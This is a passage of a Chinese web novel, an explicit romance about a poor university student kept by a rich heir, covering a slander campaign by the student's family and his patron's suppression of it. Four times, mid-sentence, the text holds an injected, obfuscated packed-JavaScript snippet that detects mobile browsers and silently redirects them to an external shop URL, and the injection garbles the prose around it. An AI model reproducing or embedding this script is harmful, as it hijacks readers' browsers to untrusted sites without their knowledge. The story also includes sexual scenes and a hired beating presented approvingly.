里面是一套桃粉色的蕾丝内衣,一双兽耳,还有一条棕褐色的狼尾巴,尾巴的毛毛软和顺滑,看起来像真毛,但其实是超高仿。 他用指尖挑起蕾丝内衣,脸红到脖子根。 “他喜欢,这种?” 边桐呼出口气,琢磨着把狼尾巴戴上,内衣原封不动地放进盒子里。 直到等岑止过来,见他还穿着上次的真丝睡袍,有些不悦。 但他头上的那对毛茸茸大耳朵让他舒缓了情绪。 “我不是让你换上送你的衣服吗?” 边桐戴着眼罩老实坐在床沿:“我穿上了。” 岑止被气笑,“那这套粉色的内衣是什么?” 边桐怔愣了下,嗫嚅着:“我以为内衣是你想穿。” 岑止也愣住,“你说什么?” “内衣,是你要穿的。” 简直倒反天罡! 岑止正要发火,却见边桐起身脱掉睡袍,红着脸说:“尾巴,我戴了。” 扬起的巴掌停在半空,岑止心猿意马地看着他一双笔直修长的腿间垂落的大尾巴,瞪大着眼,身体里涌上一阵燥热。 这条尾巴尾端有个活动的隼,只要稍微摆动腰,后面的尾巴就能摇摆。 边桐小幅度地晃动着腰,蓬松的大尾巴跟着左右摇摆起来,跟真的一样。 岑止握拳抵了下发痒的鼻尖,好惹火,真让人受不了! 他一把将人扑倒在床上,用力吻上边桐的唇。 一回生二回熟,边桐向他回馈着学来的吻技,不急不躁,颇有点技巧,把岑止亲得飘飘然,一个翻转将他压在身下。 正意乱情迷时,边桐突然低声问他:“你不穿那套内衣吗?” 岑止眸子清亮几分,嘴角扬起几分戏谑:“穿上你又看不到,就这么想看我穿?” 他看不看得到其实不重要,重要的是金主的性癖能得到满足。 “那,那我继续?” 岑止五指没入他的发丝,指腹搓揉着他的头皮,“嗯,很舒服,不要停。” 岑止只觉这次的感觉很好,整个人从头到尾舒服得仿佛飘在云端,跟他所理解的不同,不需要以痛感寻找刺激,他们很默契,身体达到从未有过的契合。 原来这就是做i吗? 他感觉自己白活了二十七年,这感觉很美妙,让人上瘾。 没有与那些人在一起的焦躁与刺激感观后的乏味空虚,他们好像一对真正相爱的情侣,互相温柔拥抱抚摸着对方,相濡以沫。 边桐醒来时,屋内只有一盏十分昏暗的壁灯还亮着,厚重的窗帘将外边的烈日遮得严实,无法判断是什么时间。 他翻了个身,金主已经离开。 昨晚折腾那么多次,金主还能醒得比他早,不得不说金主的身体素质真棒! 边桐搓着困倦的脸,伸手去摸手机,只觉手腕冰冰凉凉,闪着耀眼的光华,一下吸引了他的注意。 手腕上不知何时多出一只劳力士白金绿圈,应该是今山离开时给他戴上的。 边桐瞪着眼心情复杂,第一次戴这种奢侈品,他抬起手,手腕左右翻转着,确实好看,他很喜欢。 他深吸一口气,拿手机扫了这只表查看价格,公价42万,二手价也要40万左右。 是40万啊!趁他睡觉就这么一言不发给他戴上了! 上午十点半,不知道他在做什么? 收了他这么多贵重的东西,应该要表示一下感激才对。 8. 第8章 边桐打开微信聊天对话框,给他发去消息:【哥,我醒了,我看到了你送我的手表。】 两分钟后,岑止给他回消息:【送你的,喜欢吗?】 边桐:【喜欢,很好看,谢谢哥。】 岑止:【这么客气干什么?】 边桐:【哥,你对我真好,从来没有人对我这么好。】 岑止看着他回的消息,虽然知道是哄他开心的假话,但嘴甜知道花心思讨他欢心。 岑止:【这不算什么,会开车吗?】 边桐:【我不会。】 岑止:【不会就去学,学会了自己去挑辆车。】 边桐:【藏狐震惊.jpg 】 岑止:【怎么?不想要啊?还有,这表情太蠢。】 边桐:【哥,车好贵的吧?我还是学生,不太用得上,不用给我买。】 岑止冷笑,好拙劣的欲擒故纵! 不过他正对这小子上头,装出来的也可爱。 岑止:【别废话,我愿意给你花钱的时候你就收着,我这人不长情。】 先给他打剂预防针,别到时候断崖式分手,要死要活。 边桐看懂了他这句话的意思,只有理解的坦然,回道:【嗯,明白了,考驾照的事情我听哥的。】 他想着多学个技能傍身也不是坏事,可以没有车,但驾照肯定得考的,不如趁这次暑假,去报名考个驾照,以后参加工作,不一定会有时间。 岑止:【您向边桐转账50000¥拿去考驾照。】 边桐都有点心疼他的钱,但他总说给钱就收着,所以边桐没再废话。 岑止前后给他的钱加起来已经将近五十万,不过短短一个月时间。 这还没算上他给的奢侈品,加起来有近百万。 虽说今山来钱快,但也得看人脸色,这钱不太好挣吧?在他身上这么挥金如土,看来是真得他青睐。 短暂的爱,也是爱,爱一个人最典型的表现就是舍得花钱。 这是边桐深深种在心底的认知。 小时候他看尽父母对他与边宗耀的区别待遇,那时他也哭闹过,可刘月莹指着他鼻子骂:“你就是心眼子小,看不得你弟好!我对你们都是一视同仁,你作为哥哥,就不能懂点事?” 他担着哥哥名头,就要处处忍让。 家里什么好吃的好玩的好看的新衣服都紧着边宗耀,剩下不要的才会丢给他和妹妹。 小孩子长得很快,边宗耀穿得刚好的衣服和鞋子轮到他穿时,就已经不怎么合身了。 从小学到高中,他穿着破洞鞋子和不合身的旧衣服,倔强又自卑至极。 在父母的不公平待遇中他渐渐麻痹。 他内心渴望钱,钱能解决很多问题,能买来父母的爱,也能得来做人的体面。 可是在遭遇那些事情,失踪两天,连一个电话都没有,回来没有关心的问候,只有无尽的责备与羞辱时,他认清了一个事实,就算他将来赚很多钱,这样卑劣低贱的爱,买来做什么? 得不到的东西,那就不要。 就像这场钱色交易的局,躲不掉就不躲了,他想看看,命运的随波逐流,会将他带到哪里? 边桐这半个月,过了这二十年来最舒坦最平静的日子,今山很少找他,对他也没有任何要求,更不需要陪他去参加什么酒局卖笑,是个非常省事的金主。 而且…… 二十来岁的男生,正是性yu最旺盛的年纪,今山有一副很完美的身体,在床上能完全满足他对这方面的需求。 他骨头纤细,但四肢颀长,抱起来的时候很有肉感,腰线轻收,髋线温润,肌肉起伏勾出流畅的曲线,腰窝浅浅陷在腰线弧里,只要尝过一次,肯定会念念不忘。 边桐用力甩甩头,将脑子里的黄色废料甩出去,他恨自己不争气,现在有事没事尽想这个。 从驾校报名回来,顶着三十八度的大太阳,他快要被热晕过去。 走进酒店里的脚步匆忙,迎面与一个青年撞个正着。 他匆匆道歉,没有在意,疾步走进电梯。 就是这一会儿的工夫,那人悄悄抓拍了他的侧面轮廓,发给边宗耀。 半分钟后,边宗耀的电话打了过来,语气隐忍着怒火:“你在哪里看到他的?” 这人是边宗耀的狐朋狗友,名叫金瑾安,他语调戏谑,带着明显的挑拨,“宗耀,你哥……是发财了吗?竟然住在天宸锦华大酒店,这里单间一晚可得一两千呢!” 边宗耀一听要这么多钱,心火将他烧得差点没顺过气来,“多少?你说多少?!” “单间最低1888,我女朋友在这儿上班,我能不知道吗?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17449628|201136||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“我就说他怎么有底气跟我爸妈闹脾气,还离家出走,也是让他过上了好日子!老子都没住过那么好的酒店,他凭什么?他也配?!” 本来要走的金瑾安这会儿也不急着走,在大厅的沙发上坐下,翘起二郎腿,继续火上浇油:“你哥这人挺自私啊!有这钱不拿出来孝敬父母,供养弟弟妹妹,竟然自个儿躲起来享福。” “操!”边宗耀简直要气死,“你发个定位给我,我现在就过去!” “行,兄弟在这等你。” 金瑾安笑嘻嘻地给他发了定位,又在小群里八卦起来。 【兄弟们,等会儿给你们看个乐子!】 【什么乐子?快说啊!】 【我就爱听八卦。】 【这人你们认识吗?】金瑾安将偷拍的照片发到小群里。 【认识啊,这不是边宗耀那个哥哥吗?当年六中的校草。】 【他哥确实长得挺帅!脸那么白,跟小明星似的。】 【他跟他哥真是亲兄弟吗?长得一点也不像。】 【他哥当年可是六中年级前五的尖子生,边宗耀到现在还在复读,连个三本都没考上。】 【那六中也不是什么好学校。】 【凤尾鸡头嘛。】 【这咋了?今天八卦跟他哥有关?他哥不会被包养了吧?】 【你怎么知道?】 【这不显而易见吗?他家里一点钱全给边宗耀挥霍,他哥过得跟个乞丐似的,高中寒暑假还出去捡垃圾呢!笑死!有钱的老女人就爱玩这种又穷又没见识的小白脸。】 群里讨论得更加激烈。 【边宗耀正往酒店这边来,等会儿这兄弟俩打起来,我录给你们看。】 【在哪呢?给个地址我也过去看乐子。】 【哈哈,我就不去了,热死了。】 【我赌边宗耀打不过他哥。】 【那可不一定,他哥怂得一匹,打起来肯定不敢还手。】 【嗐!那你们可弄错了,不是他哥怂,而是他哥要是还手,回家肯定被他爸妈双打。】 【真的假的?】 【我亲眼见过还能有假?他爸妈贼偏心。】 【那可就有意思了!】 …… 果然,没一会儿,边宗耀打车过来了,跟过来的居然还有他妈刘月莹。 9. 第9章 金瑾安假笑着热情迎了上去,“宗耀,暑假一个月不见,帅了啊!阿姨好。” 刘月莹敷衍笑了笑,随即又一脸怒火问:“边桐住几号房?这孽种把家里的钱全偷了,让我跟他弟在家里每天喝稀饭,来年他弟的学费都成问题,他偷钱来住大酒店没良心,书都读狗肚子里了?这头白眼狼!” 边宗耀跟着附和:“这种品行不端的非得让他们大学把他开除不可!妈,你别着急,今天一定把他找出来,让他回家跪下向您认错!!” 金瑾安对他们母子的说辞根压根不信,但他看热闹不嫌事大,也不是什么好人,便假心假意地带着母子来到前台,问前台小姐边桐的房间号。 前台小姐让他们报电话号码,查到登记手机号码的客人住在不外售的顶级总统套间,脸色瞬间就变了。 “姑娘,咋了?他到底住几号房啊?”刘月莹心急如焚:“家里的钱都快被他挥霍一空了,那可是他爸的血汗钱哪!我得马上找到这畜生让他把钱全还回来!” 这种五星级酒店的前台小姐都是训练有素的,见情况不对,立马挤出一个微笑,语气平和道:“三位稍等片刻,我马上帮你们确认一下信息。” 前台小姐拿过手机,给他们的大堂经理发去短信。 经理的反应很快,又第一时间打电话给酒店的总裁肖明威,肖明威是岑止在富二代圈子里关系较好的有事业心的朋友。 岑止接到肖明威电话时,他在岑氏集团总部参加下午董事会议。 来电静音,岑止直接掐断,给他发送消息。 岑止:【会议中。】 肖明威:【关于你小情人的,你要没空,我就看着处理了。】 岑止:【什么事?】 岑止最多想到的是这家伙背地里拿着他的钱找女人或者找男人,他心里波澜不惊,处理这种事连他手下都清楚流程,根本不用他仔细吩咐。 肖明威:【他妈和他弟弟跑到我酒店里面来闹,说他偷家里的钱。】 岑止:【为什么偷钱?】 肖明威:【这我不清楚。】 岑止直接将边桐的微信名片转发给肖明威,【你跟他联系,就说是今山让你加的,看他自己要怎么处理,真偷了钱就把他赶出去。】 肖明威;【行。】 岑止此刻没心情也没心力处理边桐的事情,一个替他排解压力,发泄欲望的工具,不应该给他带来麻烦。 涉及岑家的一切都让他疲惫且厌恶,何况今天的董事会议,岑家几个私生子与正室的孩子都在,而他是众多私生子里现在掌权最大的一个,所以注定每次会议都会成为靶心。 处理一个无足轻重的小玩意,肖明威并没有看在岑止的面子上特别对待,只是发去一个语音电话。 接到肖明威电话时,边桐不明所以。 肖明威开门见山,语气里带着一丝几不可察的不耐烦与轻蔑:“边桐,今山让我打电话给你,你妈和你弟弟现在正在酒店大堂闹事,说你偷了他们的钱,你打算怎么处理?” 从小就懂得察言观色的边桐感觉到肖明威字里行间的情绪,被人诬蔑偷钱的他,并没有歇斯底里,只是平静叙述着:“我没有偷他们的钱,他们也没有钱让我偷。你要是不信我说的话,就去问问他们,我偷了他们多少钱,大概就明白谁在说谎。” 肖明威对他的态度有点意外,二十岁的小年轻,最是容易冲动易怒的年纪,他接触过很多这个年纪的男生,他也是从这个年纪过来的人,没有一个能像边桐这般,面对羞辱与侮蔑风轻云淡,情绪稳定。 相比酒店大堂里的那对母子声嘶力竭的指控,肖明威没忍住更偏向边桐的人品。 于是肖明威让经理去要答案,看到那个数字时,肖明威笑了。 他妈斩钉截铁说边桐偷了家里五万,这个数估计还往大了说的。 可是以肖明威对岑止的了解,指缝漏点都不止这个数,想必边桐也料定他能自己想明白,才没有啰里吧唆的解释什么。 想要看戏的人并没有等到这场笑话,自始至终,边桐根本没有露面,肖明威让酒店的保安 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17449629|201136||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 将他们扔出去。 母子俩不服气,撒泼打滚地在大街上怒骂哭闹,还是边宗耀自己嫌丢人,拉着他妈走了。 这场闹剧让边桐沉着的性子不动声色地化解,网上只有边宗耀和他妈撒泼打滚的视频,没什么看点,很快就被快速揭过抛诸脑后。 时间过得很快,边桐刚考完科目二就迎来大二开学的时间,他离开酒店前给岑止发去消息。 边桐:【哥,我要上学去了,这段时间谢谢你的照顾。】 岑止没有回复,边桐翻看着聊天记录,他唱了半个月的独角戏,发出去的消息石沉大海,仿佛这个人从没出现过。 第一次消失是一个星期,这次有点长,是两个星期。 边桐没有在意,将手机揣进口袋,拖着行李头也不回地转身离开了酒店。 其实他就此跟今山断开也挺好的,他的生活能步入正轨。 但边桐觉得没有这么简单,因为他清楚今山不是慈善家,只是冷落他半个月,等今山想起还有他这么号人,一定会再联系。 他以为新的学期会有新的开始,可他低估了人性的恶。 室友看他的眼神特别奇怪,虽说以前跟室友不算关系很好,但也能和平相处,互不相干各自安好。 开学第一天,边桐深切感受到同学与室友明显探寻的眼神和诡异抱团的议论。 还没来得及弄清楚是什么情况,他就被辅导员叫到办公室。 从辅导员口中边桐这才了解到,刘月莹与边宗耀联合写了一封举报信到学校,边宗耀还联系上科大的朋友,在学校论坛贴出自己住大酒店的照片,说他偷钱及私生活混乱。 他性格孤僻,因为没钱,出去聚会AA的钱他都拮据,所以一直独来独往,不交朋友,拒绝过的告白能从北校门排到南校门,次数多了,又因为性格影响,所以他在学校并没有想象中的那样讨人喜欢。 因为外貌总被人私下津津乐道,早前就有不少谣言,他没有理会过,这次这些人逮到突破口,论坛上口诛笔伐,前所未有的热闹。 10. 第10章 边桐看着论坛上对他的评论,陷入死一般的沉寂。 【早看他不顺眼了,哈哈……还想凹高冷学霸人设,翻车了吧!】 【他是不是不喜欢女的?连校花跟他告白都拒绝呢!】 【他也拒绝男的。】 【偷钱是真的吗?太炸裂了!白瞎这副好皮囊。】 【八九不离十,他妈妈都亲自做证,但凡他还有救,他妈能做这种事?】 【但被包养这件事存疑吧?我感觉他挺节俭。】 【楼上你懂什么?这就叫欲盖弥彰,他一个穷学生敢穿名牌吗?不然早怀疑了,还用得着被人在网上爆料?】 …… 辅导员有点不忍,语气很轻地问道:“你有什么想说的?” “我现在解释也没用,那就报警处理吧!”他拿出手机,当着辅导员的面拨打110。 这种干脆与决绝让人心惊。 “你好,我要报警。” 因为这个事件影响力太大,当天学校与警方联合成立调查组,面向网络发布公告。 舆论已经彻底地发酵,甚至还上了微博热搜前一百。 标题打着#科大校草#的噱头,又从前一百迅猛地冲到前十。 那些媒体只要流量,是一点也不管人死活,拼命地带节奏。 很快,警察溯源那五万块钱,发现是子虚乌有,纯属污蔑。 他户口还挂在边家,一句误会,让这对母子不轻不重地道歉罚款后,就基本没有后文,除非他自己再上诉告他们。 而边桐卡里多出来的五十多万却让他陷入泥沼,无从辩解。 做过就是做过,他洗刷不掉。 这个后果在报警的时候,边桐已经想到。 学校处分很快会下来,警方与校方只是澄清他偷窃被污蔑的事,至于他有没有作风问题(被人包养),只是说还在进一步调查。 当天晚上关于他的好几个标题,冲上微博热搜。 #科大校草名过其实# #没有一个母亲会污蔑自己的孩子# #科大校草风评耐人寻味# 【什么校草?谁封的?我不同意!本人科大在读生。】 【现在校草是什么廉价的头衔?我家大黄都当得!】 【校草啊?能卖多少钱?】 【以前的校草是真校草,现在的校草都是生意。】 【照片上的人真丑!看起来有没有一米七?哈哈!我觉得我也能当。】 【那要不看看我?这照片怎么样?照片.jpg】 【我哥比他帅多了,身高至少有一米八,也没嚷嚷着有多帅,一群普信男!照片.jpg】 【我长这样也没觉得自己多帅。照片.jpg】 【要不看看我担呢?这才是极品!照片.jpg】 …… 话题越来越歪,从边桐人品的肆意践踏,转而对着一张张偷拍模糊又角度刁钻的丑照品头论足,将他贬低得一文不值。 其实也有很多科大的学生同情边桐,但网上打杀声势浩荡,他们不敢发声。 迫于网络舆论压力,辅导员不得不给边桐打电话,此时边桐正在寝室看书,这几天他都没去上课。 “边桐,学校处分这两天应该就出结果,你要有心理准备。” 一旦被学校开除,就座实他人品有问题,私生活混乱,被人包养的事实。 边桐盯着书本,上面的字渐渐模糊,只是艰涩地轻应了声,挂断电话。 他走到这里,真的很不容易。 一路披荆斩棘吃了那么多苦,所有努力全都作废。 正在他陷入绝望时,今山联系了他。 他发去一张模糊的照片,问道:【这是你?】 边桐盯着因角度问题,看起来不足一米七,但轮廓又能依稀辨别是他的照片,指尖无力地回了一个字:【嗯。】 今山:【?】 边桐:【哥,怎么了?】 今山:【你网上的照片都被恶意P过。】 边桐:【哈哈,原来是这样,我还以为是他们角度刁钻,能拍成这样也很考验水平,原来是P的。】 今山:【这群跳梁小丑,吃饱闲的!这事你别管了,事件发酵到这个地步,背后有好几波推手在吃流量,也不是你能管得了的。】 边桐呼吸微滞,没明白他话里的意思,但隐隐带了些希望。 边桐:【哥,我要被学校开除了。】 今山:【安心上你的学。】 边桐看到这句话时,不知为何,竟安下心来:【好,我听哥的。】 放下手机,岑止按下秘书快捷键:“通知运营部今晚全员留下加班。” 随后,他拿起手机发布下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17449630|201136||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一步指令,整个运营部开始行动,迅速清扫网络舆论,将热搜上关于边桐的话题撤下,又放了几个不知真假的娱乐圈绯闻成功转移视线。 接着岑止通过关系网拿到科大校长的私人电话,拨打过去。 开门见山地说要向学校捐赠科研精密设备,校长一阵激动,要给他颁奖和颁发证书,生意人需要这些装点门面,他懂的。 岑止笑笑却拒绝道:“我不是为了那些虚名,张校长别忙活。” 张校长一愣:“岑先生不妨直说。” 岑止:“我最近交了个男朋友是你们科大的,只是有些贫富差距,包养说得太难听了!你们那的校风是不是需要重新整顿一下?” 张校长立马会意过来,心里当下就有了决断:“边同学成绩优异,是个好孩子,我最近也听说了,想着他这种好学生就这样被开除,毁掉前途多可惜!还好,岑总及时出面澄清,您放心,这事今晚过后不会有人提,更不会让人打扰边同学好好学习。” 岑止:“有劳张校长了,捐赠设备的事情,我明天会派公司专员与贵校对接,那么就这样吧,不打扰您休息,晚安。” 当天夜里科大学校论坛崩了,等恢复运行时,科大冲浪的学生才后知后觉。 【是不是被删了好多帖子?】 【关于边大校草的帖子都不见了呢!】 【哇,细思鼻孔!】 【系统提示:404错误】 【哇靠!我刚才还准备回复,帖子呢?】 【学校论坛管理员是疯了吗?捂嘴成这样,边桐是你爹啊!】 【删帖的速度好快啊!我从隔壁来的,大家小心说话,我还想冲浪呢。】 【@管理员001 边桐被包养是什么不可说的禁忌吗?】 【楼上是猪。】 【系统提示:404错误】 …… 次日一早,科大所有同学收到学校的公告,公告内容极其简单粗暴:经调查证实边同学人品问题皆为不实谣言,整顿校风清正是每个科大学子的责任,若再有生事造谣,情节轻者扣除学分,重者开除学籍。 边桐一觉醒来,世界好像变了。 网络关于他的消息,包括那些丑照,一夜之间消失无踪。 同学看他的眼神与之前截然不同,不再是鄙夷与同情,还多了几分小心翼翼的耐人寻味。 11. 第11章 生活好像恢复到之前的宁静,正如岑止说的,该吃吃该喝喝,好好上他的学。 边桐如惊弓之鸟地过了一个星期平静的校园生活,确定此事已经翻篇,才稳下心来。 他无数次打开与今山的聊天对话框,反反复复地翻看,聊天记录还停留在上个星期。 他纠结许久,给今山发去消息:【哥,事情已经解决了,我想好好感谢你,可是我不知道能给你什么。】 岑止:【想我吗?】 边桐心脏紧了下,体温陡然升高,【要见面吗?】 岑止:【最近遇到几条疯狗,盯得太紧,等我消息吧。】 他说的疯狗,是岑家那几个私生子,最近一直在给他找麻烦,还舞到老爷子跟前,可他们不知道,岑家看重的是手段和能力。 说实话他还挺喜欢看他们恨他又弄不死他的癫狂样子,给他无聊的生活增添不少乐趣。 边桐:【好,我等你消息。】 岑止:【真乖。】 聊天到此为止,边桐翻看着聊天记录,感觉他这段时间是遇到麻烦了。 见识到今山处理事情的手腕,如果连他都觉得是麻烦,那大概是真的棘手。 此时此刻,边桐才算是真正冷静下来,想到那对母子仅仅只是罚几百块的钱什么事也没有,心里便堵得厉害。 可他又不可能真的花钱花时间起诉他们,思来想去,只能花钱雇人把他们狠狠打一顿。 为了不留下任何痕迹与凭证,边桐戴着黑色口罩,破天荒去了离学校较远的一间网吧,包了一台机子,在网上找好代打服务。 第二天,那帮人给他在虚拟云盘上传视频,视频里几人胖揍了边宗耀一顿,看他叫得跟杀猪似的,边桐嘴角差点咧到耳后根,吃着零食反复观摩。 第二个视频是逮着外出买菜的刘月莹扇了几个耳光,扇完就跑。 剩下的一万元尾款按照他们的要求打到一家皮包公司,就算查也查不到源头,反正这种皮包公司说破产就破产。 谁知那刘月莹脸皮够厚的,诬蔑他偷钱还想毁他前程就在半月前,这会儿竟弄个新号给他打电话向他哭诉,边宗耀被人打折了腿和几根肋骨,让他掏钱给边宗耀做手术。 从电话里依稀还能听到刘月莹说话漏风,吐字含糊不清。 边桐想笑但是用力憋住,清了清嗓门儿,故作关心地问她:“妈,你说话怎么吐词不清?” 刘月莹突然就崩溃了,哭得那叫一个委屈,在那边嚎着:“桐桐啊!你妈被人打了!突然冲出来就给我几个大逼兜,牙都给打落两颗!这丧天良的畜生!” 刘月莹到死都不会怀疑这事是边桐干的,她以为她足够了解这个儿子,是个性子木讷的老实人,懦弱没脾气很好拿捏。 “那你,报警了吗?” “报是报了,但也没个下文,你弟更是造孽,桐啊,怎么吵怎么闹,咱都是一家人!你弟手术这个钱,你得出!” “哦……”边桐将手机拿远了点,怕笑得太大声被她听到,演不下去。 “桐桐,国庆回来吗?妈给你做好吃的,你弟弟你可不能不管。” 边桐深吸一口气,“妈,我也没钱,那什么,我最近生病,看病也要钱,要不你先给我转点吧!” “你疯了吗?!”刘月莹尖叫着怒火冲天挂断电话。 这事没完,各大叔伯姑婶各显神通,纷纷打电话给他,还没等他们开口,边桐就语气兴奋学着他们道德绑架,向他们借钱。 一问一个不吱声。 国庆前两天,边桐接到一个从京市寄来的包裹,是一条紫色胶质的电子手环。 他收到包裹后没多久今山就发来消息。 今山:【国庆游轮派对,你戴着手环过来京港17号码头。】 边桐第一次看到他发的消息,没有及时回复,而是迟疑。 今山:【看到就回复。】 边桐:【哥,我想知道是什么性质的派对。】 今山:【怎么,怕了?】 边桐:【嗯,我没有参加过这样的派对。】 今山:【放心吧,不会出格,你自己守住本心,什么事都不会发生。】 边桐:【怎样守住本心?】 今山:【那是你要学的一课,别问我。两天后见。】 边桐:【好的。】 今山:【您已向对方转账300000¥】 边桐不敢糊弄,就算他没去过那样的派对,心里也清楚去的都不是普通人,那些人眼睛就是尺,高仿或者劣质东西一眼就能看出来。 放假前一天,他去了市中心的高级商场,买好一身行头。 一件羊驼色高领毛衣,配长筒垂直黑色西裤,露出一截质感极好皮带,外边套一件儿中长款羊毛呢子大衣,他照着网红搭配的经典款式,挑不出错处。 项链与手表还有蓝钻耳夹都是今山送的,临前又去理发店里稍微弄了一下发型,他头型本就好看,几乎不用怎么打理,平时眼高于顶的托尼老师对他格外偏爱,对待他的每一根头发丝,像是在精雕细琢的一件艺术品。 弄完发型还在激动地喊着:“太帅了!太帅了!一个人怎么能帅成这样?” 边桐没见过这种情绪外放型的,理完发跟倒欠托尼二五八万似的夺门而出。 他打车去的京港码头,到的时候码头已经停着数不清的豪车,很多网红围在那里拍照或直播。 边桐从口袋里拿出黑色口罩戴上,这才迈下车。 上不了游轮的网红和十八线的小明星都在羡慕能上船的,能上船的盛装打扮,对着镜头大大方方地笑,生怕他们拍不到自己。 边桐一身低调却奢华的装扮,戴着口罩从他们镜头前快速走过时,反而引起镜头前的一阵骚动。 各大主播的屏幕都在刷:【戴黑色口罩的男人是谁?三分钟我要知道他全部资料!】 【第一次理解‘惊鸿一瞥’的那种震撼!】 【这个背影杀人啦!!】 【可惜戴着口罩看不到长什么样子,冲这个背影和大长腿我会包容他脸上所有的瑕疵。】 …… 边桐扫完手环上的电子信息,工作人员发放房卡给他,抬头又多看了他两眼。 边桐强装镇定,眉头微蹙神情紧绷,在外人看来却是气质高冷清贵。 游轮会在港口停靠一个晚上,以确保拿到手环的人有足够的时间登上游轮。 当天晚上游轮一层会办大型舞会,二楼是自助餐二十四小时开放,所用的酒水与食品全是最新鲜最好的。 三层是棋牌室和桌球室,四层是酒吧和秀场,五层和六层都是客房。 边桐的房间安排在六层,电动遮光的星空穹顶套房,走几步就是露天游泳池,因为神经紧绷,感觉有点累,边桐走进房间就没出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17449631|201136||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来。 他还是第一次住这种房间,遥控器捣鼓了好一会儿,他躺在床上将遮光板放下,十月的夜空黑漆漆的一片,没什么好看的,于是又将遮光板按回去。 一时没有睡意,他将左手举起,摇着手腕看着这只腕表。 满心都是好看,喜欢! 这是他第一次正式戴这支手表,以前他总觉得自己没有什么物质需求,也不是那么物质的人,对品牌没有概念,对这些都不感兴趣。 可是当虚荣心被一点点喂饱后,那种满足与充实感,让他发现一个真相,他不是不物质,也不是没有物质需求,是他以前得不到。 因为得不到,所以才不敢有需求。 可这些终究都不是他光彩得来的,所以他小心翼翼,不敢宣扬。 他睡到晚上八点半起床,拿起茶几上的坐标图,找到二楼的自助餐厅,拿好吃的默默坐在角落进食。 没吃几口,他被人注意到,听着甜腻的打招呼声和笼下的一片阴影,他惶恐地抬头。 六个人正拿着饮料或酒水居高临下地看着他,眼神炽热,朝他发送友好的雷达。 “你好帅哥,要拼桌吗?” 不,一点也不想,他就想安静用个餐。 看他冷酷的表情,这几人神色一凝,默默转身走开。 边桐吃完自助餐,又在游轮上漫无目的逛着,在一楼的舞会待了半小时,朝他搭讪的男女就没断过。 他没去过酒吧,就连ktv都没去过,以前实在是太穷,他觉得是贫穷限制交际圈,直到现在他再次认清自己,确实是个不善交际又性格无趣的宅狗。 再加上搭讪的人太烦,于是他从人群挤出,马不停蹄地回了房间。 洗好澡他躺在床上,拿过手机想浏览一下今山的朋友圈,显示三天可见。 他无聊转动着手机,盯着天花板发呆,这房间的隔音效果很好,外边喧嚣震天,里面一点声都听不到。 早知道把那台二手电脑带来,还能写几个代码。 他翻了个身正昏昏欲睡,手机传来一条消息提醒。 边桐看到今山发来的消息,立马有了精神。 今山:【到游轮了吗?】 边桐:【早到了,但是好无聊。】 今山:【没去玩吗?游轮的娱乐活动应该挺多的。】 边桐:【他们太吵,哥,你来了吗?】 今山:【还没,难不成是想我了?】 边桐:【嗯……可以想你吗?】 岑止心脏一阵悸动,天知道他就吃这一套!这家伙太会了! 能把一句虚伪至极的场面情话,说得这么纯情,简直是天生吃软饭的料! 今山:【有多想啊?】 边桐:【我也不知道,就是觉得很无聊,如果你不来,这一趟一点意义都没有。】 今山:【说什么傻话?你知道有多少人挤破头想上这艘游轮改变命运?】 边桐:【可我遇见哥,就已经改变了命运。】 岑止差点被他哄成胚胎,心花怒放的,连发好几个大额红包。 边桐傻眼,【哥,你发那么多红包干什么?】 今山:【我高兴,给你就接着。】 边桐收下红包,眼眶湿润,【谢谢哥。】 今山对他是真的很好,有一点钱都给他了吧?还要因为他的事情打点关系,肯定也花了不少钱。